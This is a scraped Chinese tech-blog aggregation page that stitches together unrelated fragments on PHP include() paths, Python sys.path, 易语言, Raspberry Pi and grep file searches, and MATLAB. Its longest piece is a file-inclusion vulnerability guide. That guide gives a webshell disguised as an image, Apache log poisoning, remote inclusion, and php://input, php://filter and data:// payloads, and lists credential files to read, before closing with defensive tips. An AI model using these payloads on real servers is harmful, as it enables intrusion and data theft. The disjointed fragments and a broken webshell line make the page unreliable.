精华内容
下载资源
问答
  • 寻找被包含文件的方式
    千次阅读
    2021-04-09 09:33:07

    思考:PHP的函数要求是函数必须在内存中才能调用,但是函数是一个一个写在对应的PHP文件中的,那其他文件中的代码必须要复制代码过来才能访问吗?

    引入:如果一个文件中对应的功能已经写好了,那么想要在其他PHP文件中使用,必须要保证该文件中的代码都进入到内存,而且彼此间有关联才可。这个使用PHP提供了一种解决方案,就是文件包含。

    文件包含【掌握】

    定义:文件包含,就是在一个要运行的PHP脚本中,去将另外一个PHP脚本中的代码拿过来,并且可以使用其被包含的文件里的内容,或者说将自己的内容能够在另外一个被包含的文件中使用。

    1.文件包含基本语法:PHP中提供了四种文件包含的方法,分别是include和include_once,require和require_once,其中四种方式的用法完全一样

    include/include_once/require/equire_once '文件所在路径及文件名';

    include/include_once/require/equire_once('文件所在路径及文件名');

    //文件包含

    include 'index.php'; //包含index.php文件(当前PHP文件同级目录)

    ?>

    2.文件包含的意义:文件包含的目的有两个

    向上包含:即先包含某个文件,目的为了使用某个文件中的代码或者数据(使用公共代码)

    index.php

    //定义函数

    function show(){

    echo 'hello world';

    }

    ?>

    include.php

    //包含index.php文件

    include_once 'index.php';

    //调用index.php中的函数

    show(); //输出hello world

    ?>

    向下包含:即先写好代码,后包含文件,目的是为了在被包含文件中使用当前的数据(使用已产生数据)

    index.php

    //获取数据

    $info = 'hello world';

    //包含文件

    include_once 'include.php';

    ?>

    include.php

    echo $info; //输出hello world

    ?>

    3.文件包含的语法区别:四种包含方式都能够包含文件并使用

    include和require的区别在于,如果包含的文件不存在的时候,include只是报警告错误,而不影响自身代码执行;而require会报致命错误,而且中断代码执行

    include和include_once区别:include不论如何都会执行包含操作,而include_once会记录是否已经包含过对应文件,对同一文件多次包含只操作一次(对于函数/类这种结构不允许重复的,是个好方法)。

    4.文件包含原理:文件包含本质就是将被包含文件的所有代码,在进行包含操作那一行全部引入并运行。但是文件包含语句是在运行时才会执行,因此不能先访问被包含文件中的内容,后包含文件。

    index.php

    function show(){

    echo __FUNCTION__;

    }

    ?>

    include.php

    show(); //错误:系统找不到函数

    //引入

    include_once 'index.php';

    show(); //show:正确,先引入后使用

    ?>

    5.练习:在a.php文件中写好九九乘法表函数,在b.php中包含该文件,然后在c文件中显示九九乘法表。即b包含a也包含c

    总结:文件包含是一种真正意义上方便我们进行模块化开发(代码功能分开到不同的文件中使用函数进行管理维护),同时又可以实现代码复用的功能。能够帮助开发者节省大量时间和工作量。

    思考:文件包含的时候是如何找到被包含的文件的呢?难道所有的开发文件都要放到一起吗?

    引入:实际开发中,非常小型的项目有可能所有文件放到一起,但是大中型项目动辄成百上千个文件,不可能放到一起的。而且还要面临用户本地开发与实际部署到服务器的路径不同的问题。所以在文件包含的时候一定要注意路径问题。

    路径问题【掌握】

    定义:路径问题,是指PHP在文件包含的时候,采用什么样的方式去寻找文件的问题。在系统中,路径通常分为两种:绝对路径和相对路径。

    1.绝对路径:绝对路径包含两种,一种是本地绝对路径,还有一种是互联网绝对路径

    本地绝对路径:从盘符根目录到文件的路径。Windows下是逻辑盘符如D:/server/Web/index.php;而Linux下是根目录如/home/Web/index.php

    D:/server/Web/index.php

    function show(){

    echo __FUNCTION__;

    }

    ?>

    D:/server/Web/include.php

    include_once 'D:/server/Web/index.php'; //绝对路径包含

    ?>

    2.相对路径:即被包含文件相对于当前文件所在的路径,通常有三种:

    ./:表示同级目录(当前文件所属文件夹),每个文件夹下都有“.”文件,代表当前目录

    ../:表示上级目录(当前文件所属文件夹的上级文件夹),每个文件夹下都有“..”文件,表示上级目录

    什么都没有:就是表示同级目录。区别./在于./会自动匹配任意目录下的.文件夹,而什么都没有则只会从自身文件所在目录开始(比./安全)

    D:/server/Web/index.php

    function show(){

    echo __FUNCTION__;

    }

    ?>

    D:/server/Web/include.php

    include_once 'index.php'; //相对路径包含

    include_once './index.php'; //相对路径包含

    ?>

    3.绝对路径和相对路径的区别

    相对路径效率高:相对路径只要按照当前文件位置偏移寻找即可

    相对路径不安全:相对路径一旦嵌套,./这个当前目录就会发生改变

    绝对路径安全:不会因为嵌套而出现路径变化

    绝对路径效率低:因为一定会要从根目录开始逐层寻找

    4.相对路径的嵌套包含问题:相对路径./和../会因为文件被包含之后发生改变(被不同文件夹的包含,同一文件夹下不会发生改变)

    D:/server/Web/parent/son/son.php

    echo __DIR__,'son';

    ?>

    D:/server/Web/parent/parent.php

    echo __DIR__,'parent';

    include_once './son/son.php'; //包含son.php

    //此时,单独访问parent.php没有问题

    ?>

    D:/server/Web/index.php

    include_once './parent/parent.php';

    //此时,访问index.php出错:parent.php被index.php包含后,其相对路径发生改变。./变成index.php所在路径D:/server/Web,再次包含./son/son.php路径变成了D:/server/Web/son/son.php,而这个路径不存在

    //解决方案:1.不使用./;2.使用绝对路径

    ?>

    5.练习:使用绝对路径和相对路径进行多层级嵌套包含

    总结:在进行文件包含时,不建议使用./和../进行文件包含。因为在实际开发中嵌套包含文件在所难免,而绝对路径包含可以完美避免这一问题。另外绝对路径建议使用DIR魔术常量,可以保证代码迁移不会被操作系统和磁盘所限制。

    更多相关内容
  • Sys.path 指定用于模块搜索路径的字符串列表 也可以通过sys模块的append方法在Python环境中增加搜索路径...路径配置文件的扩展名是”.pth”,其中的每一行包含一个单独的路径,该路径会添加到sys.path列表中(已验证)
  • 在工程打包中,有时候很头痛的就是运行所需要的库文件不能够全面的包含进来,特别是有时候调用了一系列外部扩展。对于这些问题,我们可以借用Visual Studio的打包功能帮助我们寻找软件运行必须的库文件。  首先,...
  • 已有两个文件a.dat和b.dat,每个文件包含若干行句子,现在需要你编写python程序,来找到两个文件中相同的句子,完成: 1 将相同的句子打印到common.dat文件中,每行一句 2 在控制台打印出程序执行的时长,和相同...
  • 通过枚举寻找目录下的所有子目录和所有文件。 511遇见易语言教程 寻找文件官方文档 调用格式: 〈无返回值〉 赋值 (通用型变量/变量数组 赋值的变量或变量数组,通用型数组/非数组 用作赋于的值或资源) - ...

    通过枚举寻找目录下的所有子目录和所有文件。

    511遇见

    511遇见易语言教程

    寻找文件官方文档

    调用格式: 〈无返回值〉 赋值 (通用型变量/变量数组 被赋值的变量或变量数组,通用型数组/非数组 用作赋于的值或资源) - 系统核心支持库->变量操作
    英文名称:set
    将指定的常数、常数集、常量、资源、对象或者变量赋于到指定的变量或变量数组中去。运算符号为“=”。本命令为初级命令。
    参数<1>的名称为“被赋值的变量或变量数组”,类型为“通用型(all)”,提供参数数据时只能提供变量及变量数组。
    参数<2>的名称为“用作赋于的值或资源”,类型为“通用型(all)”,提供参数数据时可以同时提供数组或非数组数据。

    操作系统需求: Windows、Linux、Unix

    -------------------
    调用格式: 〈通用型〉 相加 (通用型 被加数或文本或字节集,通用型 加数或文本或字节集,... ) - 系统核心支持库->算术运算
    英文名称:add
    运算符号为“+”,用途为:1、返回两个数值的和;2、将两个文本首尾连接起来,返回连接后的文本;3、将两个字节集首尾连接起来,返回连接后的字节集。本命令为初级命令。命令参数表中最后一个参数可以被重复添加。
    参数<1>的名称为“被加数或文本或字节集”,类型为“通用型(all)”。
    参数<2>的名称为“加数或文本或字节集”,类型为“通用型(all)”。

    操作系统需求: Windows、Linux、Unix

    视频教程源码

    .版本 2
    .支持库 shell
    
    .程序集 窗口程序集_启动窗口
    
    .子程序 _按钮1_被单击, , , 寻找文件
    .局部变量 目录, 文本型
    
    列表框1.清空 ()
    目录 = 浏览文件夹 (“请选择寻找文件的目录”, )
    ' F:\511遇见教程
    .如果 (取文本右边 (目录, 1) ≠ “\”)
    目录 = 目录 + “\”
    .否则
    
    .如果结束
    编辑框1.内容 = 目录
    查找文件或目录 (目录)
    
    .子程序 查找文件或目录
    .参数 文件夹, 文本型
    .局部变量 文件, 文本型
    
    处理事件 ()
    .如果 (取文本右边 (文件夹, 1) ≠ “\”)
    文件夹 = 文件夹 + “\”
    .否则
    
    .如果结束
    ' 默认为搜寻除子目录外的所有文件。第一次调用
    文件 = 寻找文件 (文件夹 + “*.*”, )
    .判断循环首 (文件 ≠ “”)
    列表框1.加入项目 (文件夹 + 文件, )
    ' 再一次调用本命令,且不要提供欲寻找文件名参数,第二次调用
    文件 = 寻找文件 (, )
    .判断循环尾 ()
    文件 = 寻找文件 (文件夹 + “*.*”, #子目录) ' 文件就变成了新的文件夹了
    .判断循环首 (文件 ≠ “”)
    .如果真 (文件 ≠ “.” 且 文件 ≠ “..”)
    查找文件或目录 (文件夹 + 文件) ' 在寻找新的文件夹,递归的方法就是调用了自己本身
    
    .如果真结束
    文件 = 寻找文件 (, #子目录)
    .判断循环尾 ()

    源码:易语言递归寻找文件及文件夹

             511遇见易语言教程

    展开全文
  • 文件包含漏洞全面详解

    千次阅读 2022-08-17 10:23:58
    1.文件包含漏洞概述和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个...

    一、什么是文件包含漏洞

    1.文件包含漏洞概述
    和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

    什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

    有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

    以PHP为例,常用的文件包含函数有以下四种
    include(),require(),include_once(),require_once()

    区别如下:

    • require():找不到被包含的文件会产生致命错误,并停止脚本运行
    • include():找不到被包含的文件只会产生警告,脚本继续执行
    • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
    • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

    2.漏洞成因分析
    我们先直接来看一个简单的例子,网页代码如下:

    <?php
    	include $_GET['test'];
    ?>
    

    在创建一个phpinfo.php页面,代码如下:

    <?php
    	phpinfo();
    ?>
    

    利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析
    在这里插入图片描述
    将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:
    在这里插入图片描述
    将phpinfo.php文件后缀改为jpg格式,也可以解析:
    在这里插入图片描述
    可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

    在上一期的文件上传漏洞的总结中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。

    现在我们将phpinfo.jpg的内容改成一段文字:hello world!
    再次进行访问,可以读出文本内容
    在这里插入图片描述
    利用这个特性,我们可以读取一下包含敏感信息的文件。

    二、本地文件包含漏洞(LFI)

    能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
    测试网页包含如下代码:

    <?php
    	$file=$_GET['filename'];
    	include($file);
    ?>
    

    网站利用文件包含功能读取一些php文件,例如phpinfo:
    在这里插入图片描述
    利用该代码,我们可以读取一些系统本地的敏感信息。
    例如:C:\Windows\system.ini文件。
    (1)使用绝对路径
    使用绝对路径直接读取:
    在这里插入图片描述
    (2)使用相对路径进行读取
    通过./表示当前位置路径,…/表示上一级路径位置,在linux中同样适用。

    例如当前页面所在路径为C:\Apache24\htdocs\,我们需要使用…/退到C盘再进行访问,构造路径如下:
    ../../windows/system.ini

    由于我的环境搭建在D盘,所以这里就不做演示了。

    (3)一些常见的敏感目录信息路径:
    Windows系统:

    • C:\boot.ini //查看系统版本
    • C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
    • C:\windows\repair\sam //存储Windows系统初次安装的密码
    • C:\ProgramFiles\mysql\my.ini //Mysql配置
    • C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
    • C:\windows\php.ini //php配置信息

    Linux/Unix系统:

    • /etc/password //账户信息
    • /etc/shadow //账户密码信息
    • /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
    • /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
    • /usr/local/app/php5/lib/php.ini //PHP相关配置
    • /etc/httpd/conf/httpd.conf //Apache配置文件
    • /etc/my.conf //mysql配置文件

    三、LFI漏洞利用技巧

    1.配合文件上传使用

    有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

    以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:

    <?php
    	fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
    ?>
    

    找到上传点进行上传:
    在这里插入图片描述
    文件保存的完整路径为:

    DVWA平台low等级文件包含漏洞页面如下:
    在这里插入图片描述
    该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:
    在这里插入图片描述
    现在我们利用该页面去执行我们上传的图片马

    构造URL如下,代码成功解析,我这里使用的phpinfo进行测试,实战直接替换为上述所写的一句话木马即可。
    在这里插入图片描述
    注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

    2.包含Apache日志文件

    有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

    在这里插入图片描述
    在这里插入图片描述

    在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:
    在这里插入图片描述
    当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:
    在这里插入图片描述

    如果我们访问一个不存在的资源,也一样会进行记录,例如访问

    127.0.0.1<?php phpinfo();?>
    

    网页会显示403
    在这里插入图片描述
    但查看日志会发现被成功记录但被编码了,如下:
    在这里插入图片描述
    我们再次进行访问,并使用burp抓包,发现被编码:
    在这里插入图片描述
    我们将报文修改回去,再进行发送即可:
    在这里插入图片描述
    此时再查看access日志,正确写入php代码:
    在这里插入图片描述
    再通过本地文件包含漏洞访问,即可执行
    在这里插入图片描述
    我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。

    3.包含SESSION文件

    可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

    利用条件:

    • 找到Session内的可控变量
    • Session文件可读写,并且知道存储路径

    php的session文件的保存路径可以在phpinfo的session.save_path看到。
    在这里插入图片描述
    session常见存储路径:

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sess_PHPSESSID
    • /tmp/sess_PHPSESSID
    • /tmp/sessions/sess_PHPSESSID
    • session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

    相关案例可以查看这道CTF题一道CTF题:PHP文件包含

    4.包含临时文件

    在这里插入图片描述
    php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

    由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。

    另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

    这个方法可以参考LFI With PHPInfo Assistance
    类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题: XMAN夏令营-2017-babyweb-writeup

    四、远程文件包含(RFI)

    如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
    在这里插入图片描述
    首先我们来看一段代码

    <?php
    	$path=$_GET['path'];
    	include($path . '/phpinfo.php');
    ?>
    

    访问本地site目录下的phpinfo.php文件:
    在这里插入图片描述

    该页面并没有对$path做任何过滤,因此存在文件包含漏洞。

    我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。

    但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。

    还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
    在这里插入图片描述

    如果test.php是恶意的webshell文件,那么利用该漏洞就可以获取到服务器权限。

    五、PHP伪协议

    PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数

    如下所示
    在这里插入图片描述

    1.file://协议

    file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
    在这里插入图片描述
    file:// [文件的绝对路径和文件名]
    在这里插入图片描述

    2.php://协议

    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input
    php://filter用于读取源码
    php://input用于执行php代码

    php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
    利用条件:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:
    在这里插入图片描述
    他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:

    输入
    php://filter/convert.base64-encode/resource=文件路径
    得到2.php加密后的源码:
    在这里插入图片描述
    再进行base64解码,获取到2.php的完整源码信息:
    在这里插入图片描述
    php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
    利用条件:

    • allow_url_fopen :off/on
    • allow_url_include:on

    利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:
    在这里插入图片描述
    发送报文,可以看到本地生成了一句话木马:
    在这里插入图片描述

    3.ZIP://协议

    zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

    • zip://中只能传入绝对路径。
    • 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
    • 只需要是zip的压缩包即可,后缀名可以任意更改。
    • 相同的类型还有zlib://和bzip2://

    利用条件:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    POC为:

    zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
    

    在这里插入图片描述

    4.data://协议

    data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

    利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
    利用条件:

    • allow_url_fopen :on
    • allow_url_include:on

    POC为:

    data://text/plain,<?php phpinfo();?>
    //如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
    data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    

    在这里插入图片描述
    在这里插入图片描述

    5.伪协议利用条件

    伪协议的利用方法还有很多,这里就不一一举例了。
    伪协议的用法小结
    在这里插入图片描述

    六、文件包含漏洞防护

    1、使用str_replace等方法过滤掉危险字符

    2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中

    3、php版本升级,防止%00截断

    4、对上传的文件进行重命名,防止被读取

    5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。

    6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

    展开全文
  • 树莓派在文件夹中寻找文件

    千次阅读 2022-03-06 15:25:07
    树莓派在文件夹中快速搜索任意文件

            今天想在树莓派中寻找"smbus.py"这个文件。这个文件是python下的一个第三方库,可以解决BMP280与树莓派通讯的问题。但是通讯的时候,树莓派和BMP280在时间上有误差,导致在获得一定数据之后,误差被放大,数据读取错误,进而程序崩溃。所以需要通过修改库文件来解决问题。

    但是树莓派中python的种类包括python2、python3,(此时python2已经被我删除了)并且python的第三方库的位置比较复杂。如果是Windows系统下的话,第三方库仅仅是在python安装位置下“\Lib\site-packages”文件夹内。以我的位置为例,是“D:\python-3.10.0-embed-amd64\Lib\site-packages”。当我打开树莓派上的那个位置时我却没有找到我想要的。

            也参考过别的博主的文章,没有我想要的答案。在树莓派的文件助手中,我找到了快速搜索的方法。具体如下:

            在树莓派界面的左上角找到文件助手,打开。

     找到Tools,下面有个Find Files.点进去。

     

     然后输入文件名字,注意要包含后缀。记得改变搜索路径,将当前路径删除掉,添加全盘路径。然后点击“Find”并耐心等待即可。

     

    展开全文
  • PHP文件包含

    2022-02-23 09:10:42
    文件包含 思考:PHP的函数要求是函数必须在内存中才能调用,...定义:文件包含,就是在一个要运行的PHP脚本中,去将另外一个PHP脚本中的代码拿过来,并且可以使用其被包含文件里的内容,或者说将自己的内容能够在
  • 包含子目录的文档搜索,源码是易语言的初级应用教程。
  • 易语言查找文件枚举子目录,列表
  • import os import re def findKey(filePath, fileReg, key): for filepath,dirnames,filenames in os.walk(filePath): for filename in filenames: try: _path = os.path.join(filepath,filename) ...
  • 编写一个程序,能在当前目录以及当前目录的所有子目录下查找文件名包含指定字符串的文件,并打印出绝对路径。 import os class SearchFile(object): def __init__(self,path='.'): self._path=path self...
  • 文件包含(CTF)

    千次阅读 2022-03-31 23:30:51
    文件包含 留言 连接数据库 查看留言 连接数据库 ...程序开发人员都希望代码更加灵活,所以通常会把被包含文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以
  • 文件包含漏洞和上传漏洞

    千次阅读 2021-09-29 17:14:05
    文章目录文件包含漏洞PHP文件包含漏洞远程文件包含漏洞截断包含JSP文件包含文件包含漏洞预防文件上传漏洞解析漏洞服务端检测目录验证文件内容检测预防方法一句话木马 sql注入,有sql盲注,基于布尔的注入,还有基于...
  • 文件包含漏洞总结

    千次阅读 2022-04-10 19:58:02
    目录 ...第八个 C 语言那个,是包含远程文件,其余的是包含本地文件 文件包含在 php 中,涉及到的危险函数有四个,分别是include()、include_once()、require()、require_once()。 区别如下:
  • 情况是这样的:我写了一个后台管理系统是引用Marix Admin的,因为这个系统包含了很多很多框架,如jquery,bootstrap,还有它自身的框架系统marix,一大堆的js和css文件。你想引入外面的框架时,就会和原来的库文件...
  • CTF-hub文件包含漏洞

    千次阅读 2022-04-16 23:21:38
    第一个文件包含,先审计代码 ls查看一下 尝试找带有“flag”字样的文件,找到了 查看flag,得到flag php:input 还是先审计代码,在url栏发一个input用bp拦截 这里我们把GET类型改为POST类型 末行加入一行PHP ...
  • ubuntu系统中文件和内容查找命令总结linux操作系统 电脑资料 本文章总结了ubuntu系统中文件和内容查找命令如有 findlocatewhichgrep等文件与内容查找命令的介绍有需要的同学可参考本文章 一.以文件名查找 1. find ...
  • vb.net 遍历文件夹中文件寻找指定文件
  • 在"文件包含"预处理语句的使用形式

    千次阅读 2020-03-08 09:06:27
    当#include后面的文件名用“ ”括起时:寻找被包含文件方式先在源程序所在目录搜索,再按系统设定的标准方式搜索。 当#include后面的文件名用< >括起时:直接按系统设定的标准方式搜索目录。 ...
  • (1)创建一个 “Englishe.txt” 文件内容我在百度上寻找作文并加以修改。 (2)按照题目要求完成(1)(2)小问。 (3)第三问用每行遍历字符数的方法得出每行的字符数,并将字符数存入数组当中选取最大数及最小数...
  • ubuntu查找包含某字段的指定文件夹下指定文件类型的文件
  • php代码审计及文件包含漏洞

    千次阅读 2022-02-15 17:43:06
    需要用到的部分会去调用,且被包含文件会当PHP代码执行,忽略本身后缀名。文件包含分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI),远程文件包含需要在php.ini中设置...
  • PHP文件包含漏洞(利用phpinfo)

    千次阅读 2021-12-31 17:13:39
    1、include()当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。 2、include_once()功能和include()相同,区别在于当重复调用同一文件时,程序只...
  • DVWA-文件包含全等级绕过方法

    千次阅读 2020-12-13 03:21:58
    dvwa文件包含File Inclusion全等级绕过前言一、Low级别1.1分析文件包含漏洞测试网页1.2 构造URL暴露重要信息1.3 测试本地脚本运行1.4 测试远程脚本运行1.5 包含一句话木马文件,并用菜刀连接1.5.1 一句话木马1.6 上...
  • MATLAB读取主文件夹内所有子文件包含特定字符的所有文件。Python的os.walk()函数就能完成这个任务,但MATLAB自带的dir()只能搜索当前文件夹内的文件夹及文件,所以自己写了这么一个函数(利用递归的思想)。在这里...
  • 文件包含文件上传结合

    千次阅读 2020-05-02 16:16:57
    文章目录文件包含文件上传结合条件:存在本地文件包含,并且可以找到上传路径上传图片马,并找到路径(实战中路径是需要寻找的,使用拼接思路和爆破得到上传的路径) 文件包含文件上传结合 条件:存在本地文件...
  • 例子:在当前目录里第一级文件夹中寻找包含指定字符串的.in文件 grep “thermcontact” /.in 从文件内容查找与正则表达式匹配的行: $ grep –e “正则表达式” 文件名 查找时不区分大小写:...
  • " *php: 表示当前目录全部文件,也能够是某个文件名-r 是递归查找linux-n 是显示行号ide-R 查找全部文件包含子目录命令行-i 忽略大小写递归下面是一些有意思的命令行参数:字符串grep -i pattern files :不区分大小...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 436,036
精华内容 174,414
热门标签
关键字:

寻找被包含文件的方式